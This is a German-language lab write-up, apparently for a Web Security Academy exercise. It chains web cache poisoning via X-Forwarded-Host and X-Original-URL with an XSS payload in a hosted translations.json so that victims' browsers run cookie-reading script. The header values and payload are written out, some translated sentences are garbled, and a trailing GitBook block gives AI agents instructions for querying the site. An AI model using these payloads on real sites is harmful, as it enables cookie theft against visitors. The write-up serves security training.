> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md).

# Kombination von Web-Schwachstellen durch Cache-Vergiftung

### Kombination von Web-Cache-Poisoning-Schwachstellen

Wir müssen **den Cache der Startseite vergiften** mit einer Version, die ausgeführt wird **`alert(document.cookie)`** im Browser des Besuchers. Das Opfer überträgt `/` about **jede Minute** und **die Sprache des Opfers Englisch ist (`lang=en` Cookie)**.

<figure><img src="/files/00bedf3567c7a262365544fcf375c3e44854081b" alt=""><figcaption></figcaption></figure>

### (1) Einstiegspunkt: clientseitige Übersetzungsfunktionalität

Auf der Startseite beobachten wir:

* Eine `lang` Cookie (zum Beispiel, `lang=es`) + `session=...`
* Ein Übersetzungsskript: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Dieses Skript liest `lang` aus Cookies und stellt dann eine `fetch()` zu einer JSON-Datei:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Return to list": "Volver a la lista",
            "View details": "Ver detailes",
            "Description:": "Beschreibung:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "返回清單",
            "View details": "查看詳情",
            "Description:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Return to list": "العودة إلى القائمة",
            "View details": "عرض التفاصيل",
            "Description:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Korrektes Englisch",
        "translations": {
            "Return to list": "Von wo du gekommen bist",
            "View details": "Erweisen Sie mir die Ehre, das näher auszuführen",
            "Description:": "Ausführungen zum Thema:",
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Return to list": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "View details": "വിശദാംശങ്ങൾ കാണുക",
            "Description:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Return to list": "חזור לרשימה",
            "View details": "הצג פרטים",
            "Description:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Return to list": "Palaa luetteloon",
            "View details": "Details anzeigen",
            "Description:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Return to list": "Hoʻi i ka papa inoa",
            "View details": "E nānā i nā kikoʻī",
            "Description:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Return to list": "စာရင်းသို့ပြန်သွားသည်",
            "View details": "အသေးစိတ်ကြည့်ရန်",
            "Description:": "ဖော်ပြချက်:"
        }
    }
}
```

Und `data.host` stammt aus einem Inline-Block auf der Startseite:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Dann wendet das Skript die Übersetzungen an, indem es Text durch `innerHTML`, was wichtig ist, weil es eine Übersetzung in \*\* HTML-Injektion\*\* verwandeln kann, wenn Sie die JSON-Datei kontrollieren.

### Schwachstelle #1: Host-Manipulation über `X-Forwarded-Host`

Durch Hinzufügen des folgenden HTTP-Headers

```http
X-Forwarded-Host: test.com
```

stellen wir fest, dass der Wert in `data.host`.

<figure><img src="/files/4f858b0e5af58b3d7d114e2d11c9b91b3bfa26e0" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/5239635fae415c3ee2c29d0e3cbc30c054b76f34" alt=""><figcaption></figcaption></figure>

Damit können wir den Browser zwingen, die Datei zu laden:

```bash
/resources/json/translations.json
```

### 3. Schwachstelle #2: XSS über die JSON-Übersetzungsdatei

Wir hosten auf dem Exploit-Server eine gefälschte `translations.json` die eine XSS-Injektion in einer Übersetzung enthält, zum Beispiel:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Return to list": "Hola",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "Beschreibung:"
        }
    }
}
```

<figure><img src="/files/ea274fefeda4dfbeb662f1ba51fe5115aedc0d46" alt=""><figcaption></figcaption></figure>

Dann verwenden wir:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Die aus dem Cache ausgelieferte Startseite verweist nun auf unsere bösartige JSON-Datei.

Der Inhalt der Übersetzung wird daher als HTML interpretiert, was die Ausführung des eingeschleusten JavaScript-Codes ermöglicht.

<figure><img src="/files/37a038f822f2b9eb0599273f68132bbeec0d943b" alt=""><figcaption></figcaption></figure>

### 4. Einschränkung: Das Opfer verwendet Englisch

Das Übersetzungsskript wird nur ausgeführt, wenn:

* `lang !== 'en'`

Das Opfer zunächst `lang=en`. / Selbst wenn wir die JSON-Datei kontrollieren, \*\*l

Wir müssen daher **den Aufruf auf Spanisch erzwingen**.

### 5. Schwachstelle #3: Sprachänderung erzwingen über `X-Original-URL`

<figure><img src="/files/6f94f6eb313ffe420a2ed765f17bf3920091839b" alt=""><figcaption></figcaption></figure>

Mit Param Miner identifizieren wir den verwundbaren Header:

```http
X-Original-Url: /test
```

Wir senden eine weitere Anfrage an `/` mit:

* `X-Original-URL: /test` → `404 Nicht gefunden`

<figure><img src="/files/82a55cf20d943bd2dc8241a11eaef588c5d6b9fd" alt=""><figcaption></figcaption></figure>

Der Cache liefert eine Antwort, die definiert `lang=es` für Besucher.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Dieser Pfad:

* Setzt die `lang=es` Cookie
* Dann zurück zur Startseite

<figure><img src="/files/bcd715d90e851d41a30ce16505765dbd47fbaed5" alt=""><figcaption></figcaption></figure>

#### Ausführung der Nutzlast beim Opfer

1. Opfer besucht `/`
2. `lang` Cookie wird an `es`
3. Die Seite lädt die `translations.json` Datei von unserem Exploit-Server
4. Die bösartige Übersetzung wird in das DOM injiziert
5. Der Browser führt Folgendes aus:

<figure><img src="/files/6b88ad4eb3aa9acbefa084601131bf7112ca41f9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
